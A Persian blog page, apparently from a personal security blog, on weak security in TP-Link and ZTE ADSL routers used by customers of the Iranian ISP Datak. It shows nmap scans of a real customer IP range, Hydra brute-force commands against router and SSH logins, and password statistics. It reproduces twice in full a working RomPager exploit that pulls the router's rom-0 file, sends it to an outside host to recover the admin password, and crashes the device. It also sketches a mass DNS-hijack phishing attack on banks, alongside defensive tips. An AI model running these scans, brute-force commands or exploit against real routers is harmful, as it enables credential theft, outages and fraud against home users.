کافیه همه پسوردها رو در یک فایل به نام PASSWDUSERS.txt ذخیره کنیم و بعد اسکریپت رو اجرا کنیم. برای استخراج پسورد از لیستی که در اختیار داریم، کامند زیر رو اجرا میکنیم.

cat ipRange.txt | cut -d ‘ ‘ -f 8 > PASSWDUSERS.txt

1	cat ipRange.txt \| cut –d ‘ ‘ –f 8 > PASSWDUSERS.txt

و برای شمارش تعداد پسوردها نیز اسکریپت count_all_words.py رو اجرا کنیم.

~/ python  count_all_words.py | tail     
m4f6h39          |                3
dseb0195         |                5
superheslo       |                9
m4f6h334         |               11
ebs7p27          |               15
m4f6h3           |               19
0xyaa1234        |               65
263297           |               73
362729           |               78
admin            |              124

~/ python count_all_words.py | tail

m4f6h39 | 3

dseb0195 | 5

superheslo | 9

m4f6h334 | 11

ebs7p27 | 15

m4f6h3 | 19

0xyaa1234 | 65

263297 | 73

362729 | 78

admin | 124

جامعه‌ی کاربری بالا ۶۵۵ مورد و همگی از isp داتک بوده. جستجو هم روی ۸۲۰۰ آی‌پی صورت گرفته. نکته اما اینه که همه‌ی این ۸۲۰۰ ip بالا نبودن و اگه آی‌پی‌هایی که در زمان جستجو داون بودن رو حذف کنیم به درصد خیلی خیلی بالایی میرسیم که آسیب‌پذیر هستن. در یک رنج آی‌پی ۲۵۶ تایی تقریبا صد تا از کاربران آنلاین هستن و از این تعداد پسورد ۴۰ تا کاربر رو میشه در اورد. با تقریب خوبی میشه گفت ۴۰ درصد کاربرای داتک این مشکل رو دارن و احتمالا خودشون هم اطلاعی از این وضعیت ندارند!‌

خب حالا اینکه مشخص شد که تعداد خیلی زیادی از روترها مشکل دارن که چی؟ اول اینکه تا جای ممکن سعی کنید دسترسی به روتر از دنیای اینترنت رو غیر ممکن کنید. هیچ دلیلی نداره که یک کاربر خونگی روترش از بیرون قابل دیدن باشه. برای اینکار روترها گزینه‌های متنوعی دارن. تعدادی مشخصا گزینه‌ای دارن که دسترسی به روتر رو خیلی ساده غیرممکن میکنه از دنیای اینترنت. بعضی نیز بخشی به نام ACL دارن و بخشی نیز از طریق فایروال و بستن ترافیک ورودی این امکان رو برای شما فراهم میکنن. یک راه نیز اینه که تمام ترافیک ورودی به روتر رو به سمت یک آی‌پی داخل شبکه‌تون که وجود خارجی نداره هدایت کنید! برای اینکار در بخش dmz روتر باید یک آی‌پی در رنج شبکه داخلی بدید که البته وجود خارجی نداشته باشه.

و اینکه شاید این نفوذپیذیری رو روتر شما نداشته باشه،‌ اما با گذاشتن پسوردهای خیلی ساده مثل ده مورد بالا این اجازه رو به مهاجم میدید که از طریق یک دیکشنری خیلی ساده بتونه وارد روتر بشه. و اینکه شاید خیلی از نفوذپذیری‌های دیگه باشه که تا سالها مخفی باشه و صداش در نیاد بنابراین همیشه دسترسی به روتر از بیرون رو محدود به یک یا چند آی‌پی شناخته شده کنید.

سوال دیگه‌ای که پیش میاد اینه که با وارد شدن به روتر،‌فرد مهاجم میتونه چیکار کنه؟ جواب اینه که میتونه برنامه‌ای رو بنویسه که به صورت خودکار علاوه بر در اوردن پسورد روتر، به صورت گروهی بره و dns روتر رو هم تغییر بده. با تغییر dns عملا شما متوجه هیچ مورد مشکوکی نخواهید شد. کافیه فرد مهاجم dns چند ده هزار روتر رو تغییر بده. در زمان حمله نهایی، فرد مهاجم صفحه اول تمام بانکهای معروف رو میسازه و در یک زمان، میاد و ترافیک مثلا بانک‌ سامان و پارسیان و دیگر بانکها رو به سمت سرور خودش تغییر میده! و اینطوری میشه که بجای اینکه وارد سایت اصلی بانک سامان بشید، وارد نسخه‌ای میشید که هکر اون رو طراحی کرده. طبیعتا کسی وارد سایت دستکاری میشه که از dns سرور فرد مهاجم استفاده کنه. پس توصیه مهم دیگه اینه که همیشه برید dns های داخل روتر رو خودتون به شکلی دستی تنظیم کنید. اگه dns رو به صورت دستی تنظیم نکنید،‌ به صورت خودکار روتر اونها رو از سمت isp دریافت میکنه که به نظرم این گزینه هم عاقلانه نیست. اینجور حملات در گذشته در بسیاری از کشورهای دنیا هم اتفاق افتاده.

2014-02-mitr-en

یادتون نره حتی در صورت بستن راه ورود به روتر از طریق اینترنت، مهاجم میتونه حمله رو از طریق خودتون انجام بده. بدین صورت که با وارد شدن به یک سایت آلوده، خودتون تبدیل به یک مهاجم میشید و پسورد مودم خودتون رو ریست میدید! بعد برنامه‌ دیگه‌ای میتونه وارد روتر بشه و از طریق پسوردی که معلوم و مشخصه، dns رو تغییر بده! :)‌

csrf-router-attack-640x410 راهکار چیه؟ جواب اینه که فرم‌ویر روتر خودتون رو به dd-wrt تغییر بدید. dd-wrt یک فرم‌ویر اپن سورس مبتنی بر کرنل لینوکس که با دنگ و فنگ و کمی خوش شانسی باید بتونید روی روتر خودتون نصب کنید. ریسک اینکار رو هم قبلش باید بپذیرید که دیگه روتر قابل استفاده نباشه. برای اینکه بفهمید dd-wrt روی روتر شما کار میکنه یا خیر کافیه به این آدرس برید و نام روتر خودتون رو وارد کنید.

راهکار دیگه استفاده از روتر در حالت بریج هست. و اینکه از روتر خوتون در حالت bridge استفاده کنید. در این صورت تنظیمات pppoe که بر روی روترهای ADSL وجود داره به روی سیستم متصل به روتر منتقل میشه و مودم تنها نقش یک پل رو خواهد داشت!‌ افراد داخل شبکه در اینحالت باید از طریق سرور متقل به روتر، ip بگیرن. دیوایسی که برای اینکار در نظر میگیرید باید دو تا پورت لن یا یک پورت لن و یک وایرلس داشته باشه. حالت قشنگش اینه که از رزبری پای استفاده کنید. رزبری پای کلا یک پورت Lan بیشتر نداره. بنابراین باید یک مبدل usp به lan یا wireless نیز داشته باشید. برای os هم می‌تونید از ipfire یا OpenWRT استفاده کنید که هر دوی اونها نسخه مخصوص ARM رو دارن.

openwrt-raspi-network

2 اکتبر 2015

امنیت پایین روترهای تی‌پی‌لینک

بعد مدت‌ها عید فرصت خوبی ایجاد کرد که بالاخره دستی به وبلاگ بزنم و چه موضوعی بهتر از موضوع اسفناک مشتری ispهای ایران…

سالهاست که خودم کاربر داتک هستم و روز به روز شاهد افت کیفیت این شرکت ارائه دهنده‌ی اینترنت بودم که حالا مشکلات امنیتی هم به اون اضافه شد.

هر کاربر متصل به اینترنت یک ip ولید توی اینترنت داره که برای بدست اوردنش کافیه توی گوگل سرچ بزنید what is my ip.

اگه فرض کنیم ای‌پی من در اینترنت 176.46.136.128 باشه ، با تقریب خوبی میشه گفت که آی‌پی‌های در رنج 176.46.136.1/24 همه‌گی مشتری‌های داتک هستن. حالا کافیه بیاییم چک کنیم چه مقدار از این آی‌پی‌ها پورت ۸۰ شون بازه. برای اینکار از برنامه nmap استفاده میکنیم.

nmap -p 80 -T4 -A -v 176.46.136.1/24

Discovered open port 80/tcp on 176.46.136.8
Discovered open port 80/tcp on 176.46.136.6
Discovered open port 80/tcp on 176.46.136.2
Discovered open port 80/tcp on 176.46.136.18
Discovered open port 80/tcp on 176.46.136.10
Discovered open port 80/tcp on 176.46.136.4
Discovered open port 80/tcp on 176.46.136.15
Discovered open port 80/tcp on 176.46.136.64
Discovered open port 80/tcp on 176.46.136.58
Discovered open port 80/tcp on 176.46.136.74
Discovered open port 80/tcp on 176.46.136.72
Discovered open port 80/tcp on 176.46.136.95
Discovered open port 80/tcp on 176.46.136.81
Discovered open port 80/tcp on 176.46.136.92
Discovered open port 80/tcp on 176.46.136.87
Discovered open port 80/tcp on 176.46.136.102
Discovered open port 80/tcp on 176.46.136.99
Discovered open port 80/tcp on 176.46.136.118
Discovered open port 80/tcp on 176.46.136.113
Discovered open port 80/tcp on 176.46.136.107
Discovered open port 80/tcp on 176.46.136.114
Discovered open port 80/tcp on 176.46.136.162
Discovered open port 80/tcp on 176.46.136.151
Discovered open port 80/tcp on 176.46.136.145
Discovered open port 80/tcp on 176.46.136.159
Discovered open port 80/tcp on 176.46.136.155
Discovered open port 80/tcp on 176.46.136.181
Discovered open port 80/tcp on 176.46.136.171
Discovered open port 80/tcp on 176.46.136.213
Discovered open port 80/tcp on 176.46.136.217
Discovered open port 80/tcp on 176.46.136.233
Discovered open port 80/tcp on 176.46.136.234
Discovered open port 80/tcp on 176.46.136.232
Discovered open port 80/tcp on 176.46.136.238
Discovered open port 80/tcp on 176.46.136.20
Discovered open port 80/tcp on 176.46.136.31
Discovered open port 80/tcp on 176.46.136.29
Discovered open port 80/tcp on 176.46.136.36
Discovered open port 80/tcp on 176.46.136.53
Discovered open port 80/tcp on 176.46.136.57
Discovered open port 80/tcp on 176.46.136.70
Discovered open port 80/tcp on 176.46.136.55
Discovered open port 80/tcp on 176.46.136.54
Discovered open port 80/tcp on 176.46.136.120
Discovered open port 80/tcp on 176.46.136.122
Discovered open port 80/tcp on 176.46.136.165
Discovered open port 80/tcp on 176.46.136.194
Discovered open port 80/tcp on 176.46.136.193
Discovered open port 80/tcp on 176.46.136.219
Discovered open port 80/tcp on 176.46.136.237
Discovered open port 80/tcp on 176.46.136.250
Discovered open port 80/tcp on 176.46.136.243
Discovered open port 80/tcp on 176.46.136.23
Discovered open port 80/tcp on 176.46.136.26
Discovered open port 80/tcp on 176.46.136.39
Discovered open port 80/tcp on 176.46.136.47
Discovered open port 80/tcp on 176.46.136.136
Discovered open port 80/tcp on 176.46.136.96
Discovered open port 80/tcp on 176.46.136.138
Discovered open port 80/tcp on 176.46.136.208
Discovered open port 80/tcp on 176.46.136.1
Discovered open port 80/tcp on 176.46.136.28
Discovered open port 80/tcp on 176.46.136.170
Discovered open port 80/tcp on 176.46.136.214
Discovered open port 80/tcp on 176.46.136.223
Discovered open port 80/tcp on 176.46.136.215
Discovered open port 80/tcp on 176.46.136.251
Discovered open port 80/tcp on 176.46.136.209
Discovered open port 80/tcp on 176.46.136.225
Discovered open port 80/tcp on 176.46.136.19
Discovered open port 80/tcp on 176.46.136.48
Discovered open port 80/tcp on 176.46.136.71

nmap –p 80 –T4 –A –v 176.46.136.1/24

Discovered open port 80/tcp on 176.46.136.8

Discovered open port 80/tcp on 176.46.136.6

Discovered open port 80/tcp on 176.46.136.2

این لیست، کاربرایی رو شامل میشه که صفحه‌ی اصلی روترشون توسط مرورگر قابل مشاهده است. مگه اینکه پورت ۸۰ شون رو از طریق nat انتقال داده باشن به وب‌سرور داخلی. وقتی این آی‌پی‌ها رو توی مرورگر وارد کنید فرم یوزر و پسورد براتون ظاهر میشه. مهاجم در ساده‌ترین حالت با یوزر و پسورد پیش‌فرض admin میتونه وارد تنظیمات روتر بشه.

اما در مورد روترهایی که پسورد پیش‌فرض اونها admin نیست، یک روش استفاده از brute force با استفاده از برنامه‌ی Hydra است. این برنامه می‌تونه با استفاده از یک دیکشنری،‌ دونه، دونه پسوردها رو با سرعت خیلی زیادی تست کنه.

hydra -l admin -P 500-worst-passwords.txt 176.46.136.128 http-head -V

1	hydra –l admin –P 500–worst–passwords.txt 176.46.136.128 http–head –V

با کامند بالا، برنامه‌ هیدرا به سرعت ۵۰۰ تا از بدترین پسوردهایی که کاربرا خیلی علاقه به انتخابشون رو دارن با یوزر admin به روش سعی و خطا تست میکنه و نتیجه کار رو بهتون میگه. طبیعیه که اگه لیست پسوردا خیلی طولانی باشه زمان اینکار هم بیشتر میشه (احتمالا).

در صورتیکه لیستی از یوزر رو میخواید به برنامه‌ی هیدرا بدید، هم کافیه با آپشن L اینکار رو انجام بدید.

برای پیدا کردن یوزر و پسورد در حالت ssh هم به شکل زیر از برنامه استفاده کنید.

hydra -l newuser -P pass.txt -V 192.168.1.182 ssh

1	hydra –l newuser –P pass.txt –V 192.168.1.182 ssh

لیستی از دیکشنری‌های معروف رو هم میتونید از اینجاها بگیرید.

http://trac.kismac-ng.org/wiki/wordlists
http://www.room362.com/projects/hugelist.txt
https://wiki.skullsecurity.org/Passwords

اما موضوعی که هست وجود یک exploit یا به عبارتی حفره در مودم‌های TP-Link که باعث میشه فرد مهاجم به راحتی بتونه هر پسوردی رو که ست کرده باشید در بیاره.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
# Exploit Title: ZTE and TP-Link RomPager DoS Exploit
# Date: 10-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers:   ZTE ZXV10 W300
#                   TP-Link TD-W8901G
#                   TP-Link TD-W8101G
#                   TP-Link TD-8840G
# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86
#
# Notes:    Please note this exploit may contain errors, and
#           is provided “as it is”. There is no guarantee
#           that it will work on your target router(s), as
#           the code may have to be adapted.
#           This is to avoid script kiddie abuse as well.
#
# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
#             Author takes no responsibility for any kind of damage you cause.
#
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Dedicate to Nick Knight and Hood3dRob1n
# 
# ./dos.py -i 192.168.1.1
 
import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
  
class BitReader:
     
    def __init__(self, bytes):
        self._bits = collections.deque()
         
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
             
    def getBit(self):
        return self._bits.popleft()
         
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
         
    def getByte(self):
        return self.getBits(8)
         
    def __len__(self):
        return len(self._bits)
         
class RingList:
     
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
  
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
  
    def get(self):
        return self.__data__
  
    def size(self):
        return len(self.__data__)
  
    def maxsize(self):
        return self.__max__
         
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]
 
def filter_non_printable(str):
  return ”.join([c for c in str if ord(c) > 31 or ord(c) == 9])
 
 
def banner():
    return ”’
 
\t\t    _/_/_/                _/_/_/  
\t\t   _/    _/    _/_/    _/         
\t\t  _/    _/  _/    _/    _/_/      
\t\t _/    _/  _/    _/        _/     
\t\t_/_/_/      _/_/    _/_/_/        
                            
 ”’                         
def dos(host, password):
    while (1):
        url = ‘http://’ +host+ ‘/Forms/tools_test_1’
        parameters = {
        ‘Test_PVC’          :   ‘PVC0’,
        ‘PingIPAddr’        :   ‘\101’*2000,
        ‘pingflag’          :   ‘1’,
        ‘trace_open_flag’   :   ‘0’,
        ‘InfoDisplay’       :   ‘+-+Info+-%0D%0A’
        }
         
        params = urllib.urlencode(parameters)
         
        req = urllib2.Request(url, params)
        base64string = base64.encodestring(‘%s:%s’ % (‘admin’, password)).replace(‘\n’, ”)
        req.add_header(“Authorization”, “Basic %s” %base64string)
        req.add_header(“Content-type”, “application/x-www-form-urlencoded”)
        req.add_header(“Referer”, “http://” +host+ “/maintenance/tools_test.htm”)
        try:
                print ‘[~] Sending Payload’
                response = urllib2.urlopen(req, timeout=1)
                sys.exit(0)
             
        except:
            flag = checkHost(host)
            if flag == 0:
                print ‘[+] The host is still up and running’
            else:
                print ‘[~] Success! The host is down’
                sys.exit(0)
                break
 
def checkHost(host):
    if sys.platform == ‘win32’:
        c = “ping -n 2 ” + host
    else:
        c = “ping -c 2 ” + host
 
    try:
        x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        time.sleep(1)
        return x
         
    except:
        pass
 
def checkServer(host):
    connexion = httplib.HTTPConnection(host)
    connexion.request(“GET”, “/status.html”)
    response = connexion.getresponse()
    server = response.getheader(“server”)
    connexion.close()
    time.sleep(2)
    if server == ‘RomPager/4.07 UPnP/1.0’:
        return 0
    else:
        return 1
 
def checkPassword(host):
    print ‘[+] Checking for default password’
    defaultpass = ‘admin’
    tn = telnetlib.Telnet(host, 23, 4)
    tn.read_until(“Password: “)
    tn.write(defaultpass + ‘\n’)
    time.sleep(2)
    banner = tn.read_eager()
    banner = regex(len(defaultpass)*r’.’+’\w+’ , banner)
    tn.write(“exit\n”)
    tn.close()
    time.sleep(4)
    if banner == ‘Copyright’:
        print ‘[+] Default password is being used’
        dos(host, defaultpass)
    else:
        print ‘[!] Default Password is not being used’
    while True:
        msg = str(raw_input(‘[?] Decrypt the rom-0 file locally? ‘)).lower()
        try:
            if msg[0] == ‘y’:
                password = decodePasswordLocal(host)
                print ‘[*] Router password is: ‘ +password
                dos(host, password)
                break                  
            if msg[0] == ‘n’:
                password = decodePasswordRemote(host)
                print ‘[*] Router password is: ‘ +password
                dos(host, password)
                break
            else:
                print ‘[!] Enter a valid choice’
        except Exception, e:
                print e
                continue
         
 
def decodePasswordRemote(host):
    fname = ‘rom-0’
    if os.path.isfile(fname) == True:
        os.remove(fname)
    urllib.urlretrieve (“http://”+host+”/rom-0”, fname)
    # If this URL goes down you might have to find one and change this function.
    # You can also use the local decoder. It might have few errors in getting output.
    url = ‘http://198.61.167.113/zynos/decoded.php’                # Target URL
    files = {‘uploadedfile’: open(‘rom-0’, ‘rb’) }                 # The rom-0 file we wanna upload
    data = {‘MAX_FILE_SIZE’: 1000000, ‘submit’: ‘Upload rom-0’}    # Additional Parameters we need to include
    headers = { ‘User-agent’ : ‘Python Demo Agent v1’ }            # Any additional Headers you want to send or include
 
    res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
    res1 =res.content
    p = re.search(‘rows=10>(.*)’, res1)
    if p:
        passwd = found = p.group(1)
    else:
        password = ‘NotFound’
    return passwd
 
def decodePasswordLocal(host):
    # Sometimes this might output a wrong password while finding the exact string.
    # print the result as mentioned below and manually find out
    fname = ‘rom-0’
    if os.path.isfile(fname) == True:
        os.remove(fname)
    urllib.urlretrieve (“http://”+host+”/rom-0″, fname)
    fpos=8568
    fend=8788
    fhandle=file(‘rom-0’)
    fhandle.seek(fpos)
    chunk=”*”
    amount=221
    while fpos < fend:
        if fend-fpos < amount:
            amount = amount
            data = fhandle.read(amount)
            fpos += len(data)
             
    reader = BitReader(data)
    result = ”
        
    window = RingList(2048)
         
    while True:
        bit = reader.getBit()
        if not bit:
            char = reader.getByte()
            result += chr(char)
            window.append(char)
        else:
            bit = reader.getBit()
            if bit:
                offset = reader.getBits(7)
                if offset == 0:
                    break
            else:
                offset = reader.getBits(11)
             
            lenField = reader.getBits(2)
            if lenField < 3:
                lenght = lenField + 2
            else:
                lenField <<= 2
                lenField += reader.getBits(2)
                if lenField < 15:
                    lenght = (lenField & 0x0f) + 5
                else:
                    lenCounter = 0
                    lenField = reader.getBits(4)
                    while lenField == 15:
                        lenField = reader.getBits(4)
                        lenCounter += 1
                    lenght = 15*lenCounter + 8 + lenField
             
            for i in xrange(lenght):
                char = window[-offset]
                result += chr(char)
                window.append(char)
 
    result = filter_non_printable(result).decode(‘unicode_escape’).encode(‘ascii’,’ignore’)
    # In case the password you see is wrong while filtering, manually print it from here and findout.
    #print result
    if ‘TP-LINK’ in result:
        result = ”.join(result.split()).split(‘TP-LINK’, 1)[0] + ‘TP-LINK’;
        result = result.replace(“TP-LINK”, “”)
        result = result[1:]
 
    if ‘ZTE’ in result:
        result = ”.join(result.split()).split(‘ZTE’, 1)[0] + ‘ZTE’;
        result = result.replace(“ZTE”, “”)
        result = result[1:]
 
    if ‘tc160’ in result:
        result = ”.join(result.split()).split(‘tc160’, 1)[0] + ‘tc160’;
        result = result.replace(“tc160”, “”)
        result = result[1:]
    return result
     
def regex(path, text):
    match = re.search(path, text)
    if match:
        return match.group()
    else:
        return None
 
def main():
    if sys.platform == ‘win32’:
        os.system(‘cls’)
    else:
        os.system(‘clear’)
    try:
        print banner()
        print ”’
|=——–=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=——-=|\n
[*] Author: Osanda Malith Jayathissa
[*] Follow @OsandaMalith
[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
[!] Author takes no responsibility for any kind of damage you cause.
 
    ”’
        parser = optparse.OptionParser(“usage: %prog -i <IP Address> “)
        parser.add_option(‘-i’, dest=’host’,
                            type=’string’, 
                            help=’Specify the IP to attack’)
        (options, args) = parser.parse_args()
         
        if options.host is None:
            parser.print_help()
            exit(-1)
 
        host = options.host
        x = checkHost(host)
 
        if x == 0:
            print ‘[+] The host is up and running’
            server = checkServer(host)
            if server == 0:
                checkPassword(host)
            else:
                print (‘[!] Sorry the router is not running RomPager’)
        else:
            print ‘[!] The host is not up and running’
            sys.exit(0)
 
    except KeyboardInterrupt:
        print ‘[!] Ctrl + C detected\n[!] Exiting’
        sys.exit(0)
    except EOFError:
        print ‘[!] Ctrl + D detected\n[!] Exiting’
        sys.exit(0)
 
if __name__ == “__main__”:
    main() 
#EOF

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# Exploit Title: ZTE and TP-Link RomPager DoS Exploit

# Date: 10-05-2014

# Server Version: RomPager/4.07 UPnP/1.0

# Tested Routers: ZTE ZXV10 W300

# TP-Link TD-W8901G

# TP-Link TD-W8101G

# TP-Link TD-8840G

# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0

# Tested on: Kali Linux x86

# Notes: Please note this exploit may contain errors, and

# is provided “as it is”. There is no guarantee

# that it will work on your target router(s), as

# the code may have to be adapted.

# This is to avoid script kiddie abuse as well.

# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.

# Author takes no responsibility for any kind of damage you cause.

# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)

# Dedicate to Nick Knight and Hood3dRob1n

# ./dos.py -i 192.168.1.1

import os

import re

import sys

import time

import urllib

import base64

import httplib

import urllib2

import requests

import optparse

import telnetlib

import subprocess

import collections

import unicodedata

class BitReader:

def __init__(self, bytes):

self._bits = collections.deque()

for byte in bytes:

byte = ord(byte)

for n in xrange(8):

self._bits.append(bool((byte >> (7–n)) & 1))

def getBit(self):

return self._bits.popleft()

def getBits(self, num):

res = 0

for i in xrange(num):

res += self.getBit() << num–1–i

return res

def getByte(self):

return self.getBits(8)

def __len__(self):

return len(self._bits)

class RingList:

def __init__(self, length):

self.__data__ = collections.deque()

self.__full__ = False

self.__max__ = length

def append(self, x):

if self.__full__:

self.__data__.popleft()

self.__data__.append(x)

if self.size() == self.__max__:

self.__full__ = True

def get(self):

return self.__data__

def size(self):

return len(self.__data__)

def maxsize(self):

return self.__max__

def __getitem__(self, n):

if n >= self.size():

return None

return self.__data__[n]

def filter_non_printable(str):

return ”.join([c for c in str if ord(c) > 31 or ord(c) == 9])

def banner():

return ”’

\t\t _/_/_/ _/_/_/

\t\t _/ _/ _/_/ _/

\t\t _/ _/ _/ _/ _/_/

\t\t _/ _/ _/ _/ _/

\t\t_/_/_/ _/_/ _/_/_/

”’

def dos(host, password):

while (1):

url = ‘http://’ +host+ ‘/Forms/tools_test_1’

parameters = {

‘Test_PVC’ : ‘PVC0’,

‘PingIPAddr’ : ‘\101’*2000,

‘pingflag’ : ‘1’,

‘trace_open_flag’ : ‘0’,

‘InfoDisplay’ : ‘+-+Info+-%0D%0A’

}

params = urllib.urlencode(parameters)

req = urllib2.Request(url, params)

base64string = base64.encodestring(‘%s:%s’ % (‘admin’, password)).replace(‘\n’, ”)

req.add_header(“Authorization”, “Basic %s” %base64string)

req.add_header(“Content-type”, “application/x-www-form-urlencoded”)

req.add_header(“Referer”, “http://” +host+ “/maintenance/tools_test.htm”)

try:

print ‘[~] Sending Payload’

response = urllib2.urlopen(req, timeout=1)

sys.exit(0)

except:

flag = checkHost(host)

if flag == 0:

print ‘[+] The host is still up and running’

else:

print ‘[~] Success! The host is down’

sys.exit(0)

break

def checkHost(host):

if sys.platform == ‘win32’:

c = “ping -n 2 “ + host

else:

c = “ping -c 2 “ + host

try:

x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

time.sleep(1)

return x

except:

pass

def checkServer(host):

connexion = httplib.HTTPConnection(host)

connexion.request(“GET”, “/status.html”)

response = connexion.getresponse()

server = response.getheader(“server”)

connexion.close()

time.sleep(2)

if server == ‘RomPager/4.07 UPnP/1.0’:

return 0

else:

return 1

def checkPassword(host):

print ‘[+] Checking for default password’

defaultpass = ‘admin’

tn = telnetlib.Telnet(host, 23, 4)

tn.read_until(“Password: “)

tn.write(defaultpass + ‘\n’)

time.sleep(2)

banner = tn.read_eager()

banner = regex(len(defaultpass)*r‘.’+‘\w+’ , banner)

tn.write(“exit\n”)

tn.close()

time.sleep(4)

if banner == ‘Copyright’:

print ‘[+] Default password is being used’

dos(host, defaultpass)

else:

print ‘[!] Default Password is not being used’

while True:

msg = str(raw_input(‘[?] Decrypt the rom-0 file locally? ‘)).lower()

try:

if msg[0] == ‘y’:

password = decodePasswordLocal(host)

print ‘[*] Router password is: ‘ +password

dos(host, password)

break

if msg[0] == ‘n’:

password = decodePasswordRemote(host)

print ‘[*] Router password is: ‘ +password

dos(host, password)

break

else:

print ‘[!] Enter a valid choice’

except Exception, e:

print e

continue

def decodePasswordRemote(host):

fname = ‘rom-0’

if os.path.isfile(fname) == True:

os.remove(fname)

urllib.urlretrieve (“http://”+host+“/rom-0”, fname)

# If this URL goes down you might have to find one and change this function.

# You can also use the local decoder. It might have few errors in getting output.

url = ‘http://198.61.167.113/zynos/decoded.php’ # Target URL

files = {‘uploadedfile’: open(‘rom-0’, ‘rb’) } # The rom-0 file we wanna upload

data = {‘MAX_FILE_SIZE’: 1000000, ‘submit’: ‘Upload rom-0’} # Additional Parameters we need to include

headers = { ‘User-agent’ : ‘Python Demo Agent v1’ } # Any additional Headers you want to send or include

res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )

res1 =res.content

p = re.search(‘rows=10>(.*)’, res1)

if p:

passwd = found = p.group(1)

else:

password = ‘NotFound’

return passwd

def decodePasswordLocal(host):

# Sometimes this might output a wrong password while finding the exact string.

# print the result as mentioned below and manually find out

fname = ‘rom-0’

if os.path.isfile(fname) == True:

os.remove(fname)

urllib.urlretrieve (“http://”+host+“/rom-0”, fname)

fpos=8568

fend=8788

fhandle=file(‘rom-0’)

fhandle.seek(fpos)

chunk=“*”

amount=221

while fpos < fend:

if fend–fpos < amount:

amount = amount

data = fhandle.read(amount)

fpos += len(data)

reader = BitReader(data)

result = ”

window = RingList(2048)

while True:

bit = reader.getBit()

if not bit:

char = reader.getByte()

result += chr(char)

window.append(char)

else:

bit = reader.getBit()

if bit:

offset = reader.getBits(7)

if offset == 0:

break

else:

offset = reader.getBits(11)

lenField = reader.getBits(2)

if lenField < 3:

lenght = lenField + 2

else:

lenField <<= 2

lenField += reader.getBits(2)

if lenField < 15:

lenght = (lenField & 0x0f) + 5

else:

lenCounter = 0

lenField = reader.getBits(4)

while lenField == 15:

lenField = reader.getBits(4)

lenCounter += 1

lenght = 15*lenCounter + 8 + lenField

for i in xrange(lenght):

char = window[–offset]

result += chr(char)

window.append(char)

result = filter_non_printable(result).decode(‘unicode_escape’).encode(‘ascii’,‘ignore’)

# In case the password you see is wrong while filtering, manually print it from here and findout.

#print result

if ‘TP-LINK’ in result:

result = ”.join(result.split()).split(‘TP-LINK’, 1)[0] + ‘TP-LINK’;

result = result.replace(“TP-LINK”, “”)

result = result[1:]

if ‘ZTE’ in result:

result = ”.join(result.split()).split(‘ZTE’, 1)[0] + ‘ZTE’;

result = result.replace(“ZTE”, “”)

result = result[1:]

if ‘tc160’ in result:

result = ”.join(result.split()).split(‘tc160’, 1)[0] + ‘tc160’;

result = result.replace(“tc160”, “”)

result = result[1:]

return result

def regex(path, text):

match = re.search(path, text)

if match:

return match.group()

else:

return None

def main():

if sys.platform == ‘win32’:

os.system(‘cls’)

else:

os.system(‘clear’)

try:

print banner()

print ”’

|=——–=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=——-=|\n

[*] Author: Osanda Malith Jayathissa

[*] Follow @OsandaMalith

[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.

[!] Author takes no responsibility for any kind of damage you cause.

”’

parser = optparse.OptionParser(“usage: %prog -i <IP Address> “)

parser.add_option(‘-i’, dest=‘host’,

type=‘string’,

help=‘Specify the IP to attack’)

(options, args) = parser.parse_args()

if options.host is None:

parser.print_help()

exit(–1)

host = options.host

x = checkHost(host)

if x == 0:

print ‘[+] The host is up and running’

server = checkServer(host)

if server == 0:

checkPassword(host)

else:

print (‘[!] Sorry the router is not running RomPager’)

else:

print ‘[!] The host is not up and running’

sys.exit(0)

except KeyboardInterrupt:

print ‘[!] Ctrl + C detected\n[!] Exiting’

sys.exit(0)

except EOFError:

print ‘[!] Ctrl + D detected\n[!] Exiting’

sys.exit(0)

if __name__ == “__main__”:

main()

#EOF

